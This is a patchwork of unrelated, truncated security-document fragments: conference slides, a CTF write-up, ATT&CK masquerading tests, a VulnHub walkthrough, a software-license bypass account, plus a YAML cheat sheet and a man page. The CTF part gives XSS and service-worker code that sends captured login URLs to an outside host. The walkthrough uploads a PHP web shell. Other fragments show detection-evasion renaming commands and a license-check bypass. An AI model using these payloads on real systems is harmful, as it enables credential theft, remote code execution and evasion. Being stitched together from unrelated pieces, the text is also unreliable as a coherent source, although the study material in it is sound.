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安全文本分析：

Manyonymity: Its Who You Dont Know GM  To Think About  PHP Distributed Encryption  What is an acceptable level of mass- market encryption?  How does the average joe fingerprint and protect their daily communication?  What are the true benefits of open- source vs. major company-owned encryption services?  What percentage of your daily digital communication is sent unencrypted?  How do we accelerate the adoption of PHP at the server level? Manyonymity: In The Beginning  What Were Going To Talk About  Questions & answers  General discussion of encryption methods, theories and apps  Introduction to Manyonymity  In-depth: Installing Manyonymity  Demo: configuring Manyonymity, bringing it to GO  In-depth: Maintaining Manyonymity (Admin)  Demo: administering Manyonymity, reports, alerts & tools  In depth: Using Manyonymity (Member)  Demo: sign-up, text encryption, fingerprinting  Conclusion: Review  Conclusion: Future Manyonymity: By Adam Bresson  Who I Am  10+ years in computers with expertise in all PC OSs, Linux, PHP and Security  DEFCON 08/2000: Palm Security Talk  DEFCON 09/2001: PHP, Data Mining & Web Security Talk  DEFCON 10/2002: Consumer Media Protections (CMP) Talk  Started Recommendo.com, a web community devoted to What Youll Like connections between Movies, TV, Books and Music, human-based reviews  Started GetAnyGame.com, a web community that rents video games for the major consoles by mail and recycles your old games by helping you make money renting them on consignment Manyonymity: You Want Answers?  What is an acceptable level of mass-market encryption?  128-bit SSL is standard in the browser and OS, we need fingerprinting, encryption and steganography  How does the average joe fingerprint and protect their daily communication?  Use M from multiple points of access for max reliability  What are the true benefits of open-source vs. major company- owned encryption services?  Open-source is expandable, solid, reliable, free-of-influence (political, etc.)  What


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西湖论剑 WP-Nu1L WEB HardXSS 网站就 dns 爆破 + 提交 xss + 管理员登录三个功能, 用了两个域名`xss.xss.` , `auth.xss.` 题目有句话 `我收到邮件后会先点开链接然后登录我的网站` , 这么一看这个题应该是需要作 一个 xss 持久化的. xss 持久化就两种方式 serviceworker, 和 cache. cache 在这个题目里面没 法控制, 所以就得 serviceworker. 要用 serviceworker 就得找一个能 xss 的点, 去注册这个 serviceworker. 这里我们看代码发现一个 jsonp, 而且没有过滤, 于是就用这个路由做 xss, 代码就不分析了, 反正就是调用 jsonp 没过滤, 后面也要用到. https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(atob(lala))//&lala=YWxlc nQoMSk%3d 因为登录用到的用户名密码是传输到了 auth.xss.这个域名, 如果要注册 serviceworker, 需要 serviceworker 的 js 在 auth.xss.这个域名下, 也就是需要这个域名下的一个可控的点去放 serviceworker 的 js. 也就是我们上面发现的 jsonp 的这个点 https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginStatus?callback=50chars 这里有 50 个字符的限制, 但是我们可以把真实的 payload 放到我们服务器上, 让 serviceworker 去 import 第一个 js navigator.serviceWorker.register("https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginS tatus?callback=importScripts('//d7cb7b72.y7z.xyz/xhlj2.js');//") 第二个 js self.addEventListener('fetch', function (event) { var url = event.request.clone(); body = '<script>fetch("https://d7cb7b72.y7z.xyz/?'+btoa(url.url)+'").then(function (resp){console.log(resp)})</script>'; init = {headers: { 'Content-Type': 'text/html' }}; if(url.url.startsWith('https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginVerify')){ res = new Response(body,init); event.respondWith(res.clone()); } }); 最后一个问题就是 serviceworker 在注册的时候必须是同源的页面才能注册上 访问 auth.xss.这个域名, 可以看到在主页上有一个 document.domain="xss."的一个操作. 那么就可以联想到跨域的操作里面有一个就是利用 document.domain 和 iframe 去做的. 那 么我们就可以利用之前找到的 xss 去实现这个操作. https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(atob(lala))//&lala=ZG9jd W1lbnQuZG9tYWluID0gInhzcy5lZWM1YjIuY2hhbGxlbmdlLmdjc2lzLmNuIjsKaWZyYW 1lID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7CmlmcmFtZS5zcmM9Im h0dHBzOi8vYXV0aC54c3MuZWVjNWIyLmNoYWxsZW5nZS5nY3Npcy5jbiI7CiQoJ2JvZ HknKS5hcHBlbmQoaWZyYW1lKTsKaWZyYW1lLm9ubG9hZCA9IGZ1bmN0aW9uKCkge wogICAgZG9jID0gaWZyYW1lLmNvbnRlbnREb2N1bWVudDsKICAgIHNjciA9IGRvYy5jc mVhdGVFbGVtZW50KCJzY3JpcHQiKTsKICAgIHNjci5zcmM9Imh0dHBzOi8v


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# T1036-003-win-重命名程序名称 ## 来自ATT&CK的描述 攻击者可能会重命名合法的系统实用程序以试图规避有关这些实用程序使用的安全机制安全监视和控制机制可能适用于攻击者能够滥用的系统实用程序可以通过在使用之前重命名实用程序来绕过这些安全机制例如 rename `rundll32.exe`当合法实用程序被复制或移动到不同的目录并重命名以避免基于从非标准路径执行的系统实用程序的检测 ## 测试案例 Masquerading是为了逃避蓝队的查找,而进行的伪装.其中的一种方法是可执行文件放在一个通常受信任的目录中或者给它一个合法的名字.或者文件名是一个和受信任文件相似的文件名.其中一个情况就是当common system utility被移动和修改名字,来避免被检测.这可以绕过基于文件名的检测,以及蓝队的眼睛 还有一种是right-to-left覆盖(RTLO or RLO) ,它可以让文件名反过来,迷惑蓝队成员 红队还可以修改二进制文件的图标,产品描述等来迷惑蓝队成员 对于windows还有一种技术:对合法的工具集进行重命名,例如rundll32.exe,一个案例就是当合法的工具集移动到不同的目录中并且重命名来避免检查.其中一个滥用的受信任地址为`C:\Windows\System32`,有害的程序可以伪装成`"explorer.exe"和"svchost.exe"`来绕过检查. 对于linux系统,有一种技术就是在程序运行之后,修改它的名称和路径,防止检测,一个被滥用的地址就是`/bin`名称可以改为rsyncd和dbus-inotifier ## 检测日志 Windows安全日志/Sysmon日志 ## 测试复现 ### 测试1 MASQUERADING AS WINDOWS LSASS PROCESS 复制cmd.exe并重命名,把它伪装成了lsass.exe ``` cmd.exe /c copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe cmd.exe /c %SystemRoot%\Temp\lsass.exe ``` 清除 ``` del /Q /F %SystemRoot%\Temp\lsass.exe ``` win10成功复现 ### 测试2 MASQUERADING AS LINUX CROND PROCESS. 复制sh,重命名crond,然后运行它达到伪装的目的 ``` cp /bin/sh /tmp/crond /tmp/crond ``` 成功复现 ### 测试3 MASQUERADING - CSCRIPT.EXE RUNNING AS NOTEPAD.EXE 把cscript.exe伪装成notepad.exe ``` copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y cmd.exe /c %APPDATA%\notepad.exe /B ``` 清除 ``` del /Q /F %APPDATA%\notepad.exe ``` win10成功复现 ### 测试4 MASQUERADING - WSCRIPT.EXE RUNNING AS SVCHOST.EXE ``` copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y cmd.exe /c %APPDATA%\svchost.exe /B ``` win10成功复现 ### 测试5 MASQUERADING - POWERSHELL.EXE RUNNING AS TASKHOSTW.EXE ``` copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y cmd.exe /K %APPDATA%\taskhostw.exe ``` win10成功复现 ### 测试6 MASQUERADING - NON-WINDOWS EXE RUNNING AS WINDOWS EXE ``` copy #{inputfile} #{outputfile} $myT1036 = (Start-Process -PassThru -FilePath #{outputfile}).Id Stop-Process -ID $myT1036 ``` win10成功复现 ### 测试7 MASQUERADING - WINDOWS EXE RUNNING AS DIFFERENT WINDOWS EXE ``


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Hacking With GnuRadio Hacking With GnuRadio How to have fun with wireless transmissions! David M. N. Bryan David M. N. Bryan Info Security Consultant Info Security Consultant CISSP CISSP HAM HAM Hacker Hacker DEFCON DEFCON Hacker Spaces!!! Hacker Spaces!!! Thanks to CCCKC  Sweet Hacker Space! Thanks to CCCKC  Sweet Hacker Space! What is this? What is this? Is that a hot pack in your pocket? Is that a hot pack in your pocket? Physical Attack Physical Attack Physical Attack Physical Attack Physical Attack Physical Attack Counter Measures ? Counter Measures ? Mind the gap! Mind the gap! Disable the use of RTE Disable the use of RTE Crash bar Crash bar Push to exit Push to exit Hacking With GnuRadio Hacking With GnuRadio What is GnuRadio? What is GnuRadio? What you need What you need Requirements Requirements Costs Costs What is GnuRadio? What is GnuRadio? Software  Python = byte code = good! Software  Python = byte code = good! Hardware - Hardware - Universal Software Radio Peripheral Universal Software Radio Peripheral Field Programmable Gate Array Field Programmable Gate Array 4 DAC 4 DAC 4 ADC 4 ADC TX / RX Daughter boards from 0.1Mhz to 5.8Ghz TX / RX Daughter boards from 0.1Mhz to 5.8Ghz USRP v1.0 USRP v1.0 USRP Board USRP Board Daughter Boards Daughter Boards How Can I use it? How Can I use it? Get Hardware  USRP Get Hardware  USRP Install Ubuntu  or other Unix like OS Install Ubuntu  or other Unix like OS USRP Interface Requirements USRP Interface Requirements v1.0 USB 2.0 v1.0 USB 2.0 v2.0 Gigabit Ethernet v2.0 Gigabit Ethernet Why should I use it? Why should I use it? Wireless Signal Receiving and Generation Wireless Signal Receiving and Generation Circuit logic Circuit logic Oscillator Oscillator Other methods are painfully slow for prototyping Other methods are painfully slow for prototyping Cost Cost USRP1 $700 USRP1 $700 USRP2 $1400 USRP2 $1400 Daughter Boards $75-$400 Daughter Boards $75-$400 Screws/Case $20 Screws/Case $20 Not specifically FCC Part Licen


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# SickOs 1.2 下载地址https://download.vulnhub.com/sickos/sick0s1.2.zip ## 实战操作 扫描靶场IP地址`192.168.32.148` ![image-20220531102836395](../../.gitbook/assets/image-20220531102836395.png) 扫描端口发现只开启**22**和**80**端口 ``` (rootkali)-[/tmp] # nmap -sT -p1-65535 192.168.32.148 Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-30 22:30 EDT Nmap scan report for 192.168.32.148 Host is up (0.00067s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:3D:60:3D (VMware) Nmap done: 1 IP address (1 host up) scanned in 104.58 seconds ``` 浏览器访问80端口 ![image-20220531103338753](../../.gitbook/assets/image-20220531103338753.png) 使用目录扫描器只扫描到**test**目录 ![image-20220531103856954](../../.gitbook/assets/image-20220531103856954.png) 通过 curl 检查可用方法时PUT 方法可用这可用于上传反向 shell ``` (rootkali)-[/tmp] # curl -v -X OPTIONS http://192.168.32.148/test/ * Trying 192.168.32.148:80... * Connected to 192.168.32.148 (192.168.32.148) port 80 (#0) > OPTIONS /test/ HTTP/1.1 > Host: 192.168.32.148 > User-Agent: curl/7.81.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK < Allow: OPTIONS, GET, HEAD, POST < Content-Length: 0 < Date: Tue, 31 May 2022 10:40:36 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.148 left intact ``` 通过 PUT 请求利用文件上传使用 curl 上传包含以下代码的 PHP 文件这将允许我们远程执行代码 ``` (rootkali)-[/tmp] # curl -v -X PUT -d '<?php echo system($_REQUEST['cmd']);?>' http://192.168.32.148/test/shell.php * Trying 192.168.32.148:80... * Connected to 192.168.32.148 (192.168.32.148) port 80 (#0) > PUT /test/shell.php HTTP/1.1 > Host: 192.168.32.148 > User-Agent: curl/7.81.0 > Accept: */* > Content-Length: 36 > Content-Type: application/x-www-form-urlencoded > * Mark bundle as not supporting multiuse < HTTP/1.1 201 Created < Content-Length: 0 < Date: Tue, 31 May 2022 10:41:40 GMT < Server: lighttpd/1.4.28 < *


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Hacking and protecting Oracle Database Vault Esteban Martínez Fayó Argeniss (www.argeniss.com) July 2010 Agenda  Introduction to Oracle Database Vault  What is Oracle Database Vault, What changes introduce, Oracle Database Vault elements.  Attacks against Database Vault  Getting OS access  Impersonating MACSYS user  Special considerations for the SYS user o SQL Injection in SYS schema  Oracle Database Auditing and SYS user  Additional protection measures  Conclusions What is Oracle Database Vault?  Its an add-on to Oracle Database.  Supported Oracle Database Releases: 9i R2, 10g R2, 11g R1 and 11g R2.  Oracle Database Vault can prevent highly privileged users, including powerful application DBAs and others, from accessing sensitive applications and data in Oracle databases outside their authorized responsibilities  The DBA no longer has unlimited access to database data.  Helps protect against the insider threat and address regulatory compliance needs such as Sarbanes-Oxley (SOX) and PCI .  The main goal of Oracle Database Vault is to provide Separation of Duty What changes with Database Vault?  Some initialization parameteres are changed to more secure values.  RECYCLE BIN feature is disabled  Revokes some privileges from default roles  DBA, IMP_FULL_DATABASE, EXECUTE_CATALOG_ROLE, SCHEDULER_ADMIN and PUBLIC.  Database audit is configured to include more actions, but auditing is not enabled.  Must issue ALTER SYSTEM SET AUDIT_TRAIL  SYS.AUD$ Table Moved to SYSTEM Schema. What changes with Database Vault?  SYS, SYSTEM and other schemas are protected as well as sensitive commands like ALTER USER.  Installing patches require to disable DBVault.  DBVault can be disabled with OS access.  On Windows: Under %ORACLE_HOME%\bin, delete or rename oradv[release_number].dll (example: oradv10.dll, oradv11.dll) file.  On Linux: make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk dv_off $ORACLE_HOME/bin/relink oracle What changes with Database Vault?  In older releases:  OS authentication


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1 浅谈Goby Redteam版本破解 前 基础信息收集 尝试破解 从官获取Goby Redteam版本 作者:天河 Goby是款新的络安全测试具由赵武ZwellPangolinJSkyFOFA作者打造它能够 针对个标企业梳理最全的攻击信息同时能进效实战化漏洞扫描并快速地从个 验证点切换到横向我们希望能够输出更具命的具能够对标客的实际能帮 助企业来有效地理解和应对络攻击 前天在络上冲浪偶然得知goby还有Redteam版本发现络上并没有Redteam版本的破解版 也没有相关的破解章因此我对goby的验证体系产了好奇考虑到开发者利益这不展示具体破解 代码 先从朋友那要了个redteam版本的goby打开运之后查看其进程发现其存在四个进程如下图 所示 其中三个是由goby.exe启动的,另个是goby-cmd.exe启动 前 基础信息收集 2 从这致了解出了goby的基础架构 猜测goby-cmd于提供扫描器的些核功能goby.exe于提供户交互的界使的是 electron开发代码在app.asar中 打开程序在左下可以申请或者设置license 其中有个较重要的信息是MID 这串值是通过对本地信息计算得到的串数值 打开wireshark捕获本地流量发现存在向8361端访问的流量 对http://127.0.0.1:8361/api/v1/version,以及http://127.0.0.1:8361/api/v1/getEnvi? field=licenseInfo进访问获取licenseInfo等相关信息() 这我本地写了个http服务尝试顶掉8361端代替他进回复果然成功通过了验证机制在验证过 后重启goby-cmd.exe提供服务此我的goby换上了Redteam版本的红肤 尝试破解 Plain Text 复制代码 PID=22396 名称=goby-cmd 命令参数=-mode api -bind 127.0.0.1:8361 -rate 100 -random true PID=25632 名称=Goby 命令参数=--type=renderer --no-sandbox --enable-features=FixAltGraph -- service-pipe-token=XXXXX --lang=zh-CN --app-path="D:\goby-win-x64- 1.8.281\resources\app.asar" --node-integration=true --webview-tag=true PID=4640 名称=Goby 标题=Chrome_WidgetWin_0 命令参数=--type=gpu-process --enable-features=FixAltGraph --no-sandbox -- gpu-preferences=XXXXXXXX PID=8648 名称=Goby 标题=Goby - Attack surface mapping 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 3 众所周知redteam版本最的不同是多出了很多的poc通过点击右下漏洞升级即可获得 但我破解后发现法获取到这些专业版本的poc这是为什么呢 通过对app.asar解包后阅读源码 Plain Text 复制代码 解包法如下 npm install asar -g asar e app.asar 件夹 1 2 3 4 4 发现程序是通过从远程从官的服务器来下载获取poc的其中有个参数的值为成的MID值怪不得 法下载下来原来是因为我计算机成的MID值不能通过远程服务器校验如何通过远端服务器校验 呢要么找官的帮你把你的mid加进去要么把服务器打下来身为守法公我当然是选择了 1(其实是因为进制菜鸡根本不会渗透) 添加了Gobybot的微信经过询问得知可以写插件来获得就顺写了个插件获得了个的 Redteam版本使机会美滋滋 后使样的请求和参数再次尝试下载poc果然成功了(下载的poc是被加密过的)验证了我的猜想 服务端是存在校验的 突然反应过来我要redteam版本有啥我不专搞渗透 从官获取Goby Redteam版本


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Total Endpoint Protection: #1 in EDR & Next-Gen AV No Win32_Process Needed Expanding The WMI Lateral Movement Arsenal Total Endpoint Protection: #1 in EDR & Next-Gen AV About Me o Security researcher  Cybereason o @PhilipTsukerman o Probably really stressed out right now Total Endpoint Protection: #1 in EDR & Next-Gen AV Outline o Lateral movement and WMI o New and improved methods o A word about detection Total Endpoint Protection: #1 in EDR & Next-Gen AV Lateral Movement Lateral Movement Total Endpoint Protection: #1 in EDR & Next-Gen AV Lateral Movement Initial Foothold Credentials Target Machine Phishing/ Exploit/etc Total Endpoint Protection: #1 in EDR & Next-Gen AV Lateral Movement oAbuses features, not bugs oFeatures mostly work as intended Total Endpoint Protection: #1 in EDR & Next-Gen AV Common LM Methods o Remote service creation / PSExec o Remote task scheduling o WMI Win32_Process.Create Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About WMI o A Windows feature providing object-oriented representation of applications, devices etc. o Available remotely (through DCOM and WinRM) Total Endpoint Protection: #1 in EDR & Next-Gen AV A Bit About WMI Mainly variations of SELECT * FROM Win32_Process Total Endpoint Protection: #1 in EDR & Next-Gen AV Some Example Classes Total Endpoint Protection: #1 in EDR & Next-Gen AV WMI, WHAT IS IT MADE OF? Total Endpoint Protection: #1 in EDR & Next-Gen AV WMI, What is it made of? o Winmgmt service o Providers o Repository Total Endpoint Protection: #1 in EDR & Next-Gen AV The WINMGMT Service o A mediator between the WMI model and client applications Total Endpoint Protection: #1 in EDR & Next-Gen AV WMI Providers o Contain the implementations of WMI classes, instances and methods o Most commonly implemented as COM DLLs Total Endpoint Protection: #1 in EDR & Next-Gen AV The WMI repository o The central storage area for the WMI model o Contains definitions and instances Total Endpoint Protection: #1 in EDR & Next-


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--- title: YAML date: 2020-12-29 18:26:55 background: bg-[#b42e28] tags: - config - format categories: - Programming intro: | This is a quick reference cheat sheet for understanding and writing YAML format configuration files. plugins: - copyCode --- Getting Started --------------- ### Introduction [YAML](https://yaml.org/) is a data serialisation language designed to be directly writable and readable by humans - YAML does not allow the use of tabs - Must be space between the element parts - YAML is CASE sensitive - End your YAML file with the `.yaml` or `.yml` extension - YAML is a superset of JSON - Ansible playbooks are YAML files {.marker-round} ### Scalar types {.row-span-2} ```yaml n1: 1 # integer n2: 1.234 # float s1: 'abc' # string s2: "abc" # string s3: abc # string b: false # boolean type d: 2015-04-05 # date type ``` ####  Equivalent JSON ```json {.wrap} { "n1": 1, "n2": 1.234, "s1": "abc", "s2": "abc", "s3": "abc", "b": false, "d": "2015-04-05" } ``` Use spaces to indent. There must be space between the element parts. ### Variables ```yaml some_thing: &VAR_NAME foobar other_thing: *VAR_NAME ``` ####  Equivalent JSON ```json {.wrap} { "some_thing": "foobar", "other_thing": "foobar" } ``` ### Comments ```yaml # A single line comment example # block level comment example # comment line 1 # comment line 2 # comment line 3 ``` ### Multiline strings ```yaml description: | hello world ``` ####  Equivalent JSON ```json {.wrap} {"description": "hello\nworld\n"} ``` ### Inheritance {.row-span-2} ```yaml parent: &defaults a: 2 b: 3 child: <<: *defaults b: 4 ``` ####  Equivalent JSON ```json {.wrap} { "parent": { "a": 2, "b": 3 }, "child": { "a": 2, "b": 4 } } ``` ### Reference {.row-span-2} ```yaml values: &ref - Will be - reused below other_values: i_am_ref: *ref ``` ####  Equivalent JSON ```json {.wrap} { "values": [ "Will be", "reused below" ], "other_values": { "i_am_ref": [ "Will be", "reused below" ] } } ``` ### Folded strings ```yaml description: > hello wor


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The Legacy Print Spooler: A story about vulnerabilities from the previous millennium until today Peleg Hadar, Senior Security Researcher, SafeBreach Labs Tomer Bar, Research Team Leader, SafeBreach Labs Created: January 2020 Updated: July 2020 (See the Updated Notes section) Table of Contents Introduction 2 Exploring the Print Spooler 2 The Printing Process 3 Diving into the Spooler 4 Our Research Environment 4 Picking our First Target: The SHD File 5 1st Vulnerability - Fuzzing in the Shadow (Files) 6 Sanity Test 6 Patching the Spooler for Fuzzing and Profit 7 Starting to Fuzz 9 First Crash Dump 10 Windows 10 19H2 10 Windows 2000 10 Root Cause Analysis (1st Vulnerability) 11 Background 11 Analyzing the Vulnerability 14 2nd Vulnerability - User-to-SYSTEM Privilege Escalation 15 Introduction 15 Printing to System32 - First Try 16 The RPC Impersonation Barrier 17 Printing to System32 - Second Try 18 Writing Files as SYSTEM 19 Mitigation 20 Updated Notes 21 References 21 Introduction SafeBreach Labs discovered three vulnerabilities in the Windows Print Spooler service. This is the story of how we discovered the DoS, CVE-2020-1048 and CVE-2020-1337 vulnerabilities which we reported to Microsoft. In this blog post, we will demonstrate our journey since we found the vulnerabilities, starting with exploring the Print Spooler components, diving in to the undocumented SHD file format and its parsing process, and last but not least, we will present both of the vulnerabilities which we found in the Print Spooler mechanism and analyze the root cause. Exploring the Print Spooler The Print Spooler is the primary component of the printing interface in Windows OS. Its an executable file that manages the printing process. Some of its responsibilities are:  Retrieving and loading the printer driver  Spooling high-level function calls into a print job  Scheduling the print job for printing The Printing Process The Print Spooler is based on an RPC client/server model, which means that


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05 Nov 19 Breaching the perimeter - PhantomJs Arbitrary file read Introduction PhantomJS is a headless browser used for automating web page interaction. PhantomJS provides a JavaScript API enabling automated navigation, screenshots, user behavior and assertions making it a common tool used to run browser-based unit tests in a headless system like a continuous integration environment. PhantomJS uses a particular variant of WebKit, normally called QtWebKit, that utilizes Qt (qt.io (https://web.archive.org/web/20191220171022/http://qt.io/)), an open-source multi-platform C++ framework. Using QtWebkit it provides a similar browsing environment to other modern browsers and offers fast and native support for various web standards. Vulnerability summary PhantomJS uses internal module: webpage , to open, close, render, and perform multiple actions on webpages, which suffers from an arbitrary file read vulnerability. The vulnerability exists in the page.open() function of the webpage module, which loads the specified URL and calls a given callback. When opening a HTML file, an attacker can supply specially crafted file content, which allows reading arbitrary files on the filesystem. The vulnerability is demonstrated by using page.render() as the function callback, resulting in the generation of a PDF or an image of the targeted file. var webPage = require('webpage'); var page = webPage.create(); This above JavaScript code initialises and creates a page object that can be used to perform further actions such as loading a webpage. In the code snippet below the page.open() function is responsible for opening and parsing the supplied URL and generating a PNG image using the page.render() function. Tracing the open call in the following example: var page = require('webpage').create(); page.open('http://www.google.com', function() { <-----  setTimeout(function() { page.render('google.png'); phantom.exit(); }, 200); }); Before interacting with a webpage, a PhantomJS instance is lau


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How I Hacked facebook Again! by Orange Tsai Orange Tsai  Principal security researcher at DEVCORE  Captain of HITCON CTF team  0day researcher, focusing on Web/Application security orange_8361 Infiltrating Corporate Intranet Like NSA Pre-auth RCE on Leading SSL VPNs Orange Tsai (@orange_8361) Meh Chang (@mehqq_) USA 2019 Disclaimer 所有漏洞皆經過 合法流程 回報並且 修復完成 MDM(Mobile Device Management) https://www.manageengine.com/products/desktop-central/images/MDM_features.png 常見 MDM 解決方案 VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine 常見 MDM 解決方案 VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine Why MobileIron? 1. 根據官網至少 20,000+ 企業使選擇 2. 至少 15% 的財富世界 500 大公司選擇且暴露在外網 3. 台灣企業使用比例最高的 MDM 4. Facebook 有在使用! 如何開始? 怎麼跑起來? 痛苦 架構 Tomcat MI Server 443/8443 Apache 9997 MI Protocol Reverse Proxy TLS Proxy 找洞! 1. 該防的都有防 2. 沒有很好打 3. 但也不算很難打 Vulnerability Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Web Service speaks Hessian! Touch through Manage Interface Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Tomcat MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache Touch through User Interface???  Rewrite Rules :( RewriteRule /mifs/services/(.*)$  [R=307,L] RewriteRule /mifs/services - [F] RewriteRule /mifs/services/(.*)$  [R=307,L] RewriteRule /mifs/services - [F] /mifs/services/fooService RewriteRule /mifs/services/(.*)$  [R=307,L] RewriteRule /mifs/services - [F] /mifs/.;/services/fooService Hessian Deserialization Hessian Deserialization  Java Unmarshaller Security  A paper written by @mbechler in May 2017  Known gadgets on Hessian Deserialization: Gadget Name Effect Spring-AOP JNDI Inject


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Watching the Watchers Target Exploitation via Public Search Engines mail://johnny@ihackstuff.com http://johnny.ihackstuff.com whats this about?  using search engines to do interesting (sometimes unintended) stuff  sp3ak l1ke l33to hax0rs  act as transparent proxy servers  sneak past security  find development sites whats this about?  using search engines to find exploitable targets on the web which  run certain operating systems  run certain web server software  harbor specific vulnerabilities  harbor sensitive data in public directories  harbor sensitive data in public files  automating the process: googlescan pick your poison we have certain needs from a search engine:  advanced search options (not just ANDs and ORs)  browsing down or changed pages (caching)  instant response (zero-wait)  document and language translations  web, news, image and ftp searches The obvious choice: Google not new... Vincent GAILLOT <vgaillot@telecom.insa- lyon.fr> posted this to BUGTRAQ nearly two years ago... doing interesting stuff hax0r, Google hacks, proxy, auth bypass, finding development sites hax0r for those of us spending way too much time spe@king hax0r... /misc: Google Hacks There is this book. And its an OREILLY book. But its not about hacking. Its about searching. I didnt write it. Because if I wrote it, it would really be about hacking using Google and that would get both Google and OREILLY both really upset and then lawyers would get involved, which is never good unless of course the lawyer happens to be Jennifer Granick... =) proxy Google offers a very nice language translation service. for example, translating from english to spanish... proxy Our english-to-spanish translated Google page is: http://translate.google.com/translate (main URL) ?u=http://www.defcon.org&langpair=en|es (options) What happens if we play with the options a bit to provide an english-to-english translation, for example? http://translate.google.com/translate (main URL) ?u=http://www.defcon.org&lang


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'\" t .TH "SYSTEMD\-RESOLVE" "1" "" "systemd 231" "systemd-resolve" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" systemd-resolve \- 解析主机名IP地址域名DNS资源记录服务 .SH "SYNOPSIS" .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \fIHOSTNAME\fR... .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \fIADDRESS\fR... .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-type=\fITYPE\fR \fIDOMAIN\fR... .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-service [[\fINAME\fR]\ \fITYPE\fR]\ \fIDOMAIN\fR .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-openpgp \fIUSER@DOMAIN\fR .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-tlsa \fIDOMAIN\fR\fI[:PORT]\fR .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-statistics .HP \w'\fBsystemd\-resolve\fR\ 'u \fBsystemd\-resolve\fR [OPTIONS...] \-\-reset\-statistics .SH "描述" .PP \fBsystemd\-resolve\fR 利用 \fBsystemd-resolved.service\fR(8) 系统服务解析主机名IP地址域名DNS资源记录服务 默认情况下参数列表将被视为域名/主机名的列表程序的输出将是它们所对应的 IPv4 或 IPv6 地址 如果参数符合 IPv4 或 IPv6 格式那么表示反解析IP地址所对应的主机名 .PP


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001 Speaker@YongShao     Whoami Oauth2.0    ()!    Web https://facebook.com/dialog/oa uth?response_type=code&clien t_id=CLIENT_ID&redirect_uri=R EDIRECT_URI&scope=email&sta te=1234zyx   https://open.weixin.qq.com/connect/oauth 2/authorize?appid=wxc43*******&respon se_type=code&scope=snsapi_base&redirec t_uri=http://baidu.com&state=********** *&connect_redirect=1#wechat_redirect Token Leak Timelime: 2018.02.13 Redirect vulnerability 2018.03.20 Find token leak 2018.03.21 Report Vulnerability 2018.03.30 Fixed Detail   Detail Detail POC/EXP Write js Write php POC/EXP POC/EXP IM Login Redirect     Qrljacking Qrljacking Qrljacking Qrljacking Qrljacking Qrljacking app app app CSRF CSRF /oauth/weibo/redirect CSRF CSRF CSRF API Leak API Leak API Leak Login Google Jetbrains Team Work Use old poc xss Platform got it Demo MP4 Other Redirect Bypass :::25/.. #25 :::25/.. :::25 :::25 :::55.5:::25 2#5 :::55.525 :::55.525 :::55.525 :::55.5%25 :::55.525 :::55.525 Help Me(how to fixed) Help Me(how to fixed) ! How$I$Hacked$[Oculus] OAuth$+Ebay$+IBM Stealing$Facebook access_tokens$using$CSRF in$device$login$flow Internet$Explorer$has$a URL$problem Authentication$bypass$on Airbnb$via$OAuth$tokens theft Stealing$Access$Token$of One-drive$Integration$By Chaining$CSRF Vulnerability Stealing$0Auth$Token (MITM) Finding$hidden$gems$vol. 1:$forging$OAuth$tokens using$discovered$client$id and$client$secret Speaker@YongShao


